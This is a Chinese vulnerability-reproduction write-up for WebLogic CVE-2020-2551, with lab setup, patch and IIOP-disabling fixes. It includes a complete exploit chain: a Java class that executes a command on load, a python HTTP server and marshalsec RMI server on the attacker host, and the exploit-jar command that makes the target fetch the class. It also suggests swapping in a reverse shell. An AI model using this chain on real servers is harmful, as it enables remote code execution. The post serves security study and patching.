0x00 漏洞简述
0x01 漏洞分析
在weblogic中RMI-IIOP的实现模型如下:
0x02 影响版本
Weblogic 10.3.6.0.0
Weblogic 12.1.3.0.0
Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
0x03 环境搭建
注意:靶机是weblogic 10.3.6.0.0版本,其它高的版本也同样受影响(默认开启IIOP协议的版本均会被攻击)
Centos 7
直接使用vulhub中的CVE-2017-10271漏洞环境就可以
-
切到 cd /vulhub-master/weblogic/CVE-2017-10271 目录下
-
docker-compose up -d 启动漏洞环境
-
访问:http://your-ip:7001/
如图所示,即为搭建成功。
0x04 漏洞复现
4.1漏洞检测
使用POC验证,看是否存在CVE-2020-2551漏洞:
发现存在漏洞,接着就是对其进行利用。
4.2漏洞利用
编写一个exp.java文件:
import java.io.IOException;
public class exp {
static{
try {
java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
然后使用javac进行编译,会发现多出一个exp.class文件:
javac exp.java -source 1.6 -target 1.6
接着在当前目录下使用python3起一个HTTP服务,使用命令:
python3 -m http.server 80
接着使用marshalsec起一个恶意的RMI服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.31.99/#exp” 1099
然后开始攻击,执行如下命令:
java -jar weblogic_CVE_2020_2551.jar 192.168.110.135 7001 rmi://192.168.31.99:1099/exp
成功,后面可以将exp.java中的命令换成反弹一个shell,就可以获取到一个shell。
0x05 修复方案
1.参考以下链接安装补丁更新:
https://www.oracle.com/security-alerts/cpujan2020.html
2.在Weblogic控制台中,选择“环境”->“服务器”->”AdminServer”->”协议”,取消“启用IIOP”的勾选。并重启Weblogic项目,使配置生效。
内容仅供学习及自我检测修复,根据此文造成的任何后果均由用户个人承担。
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论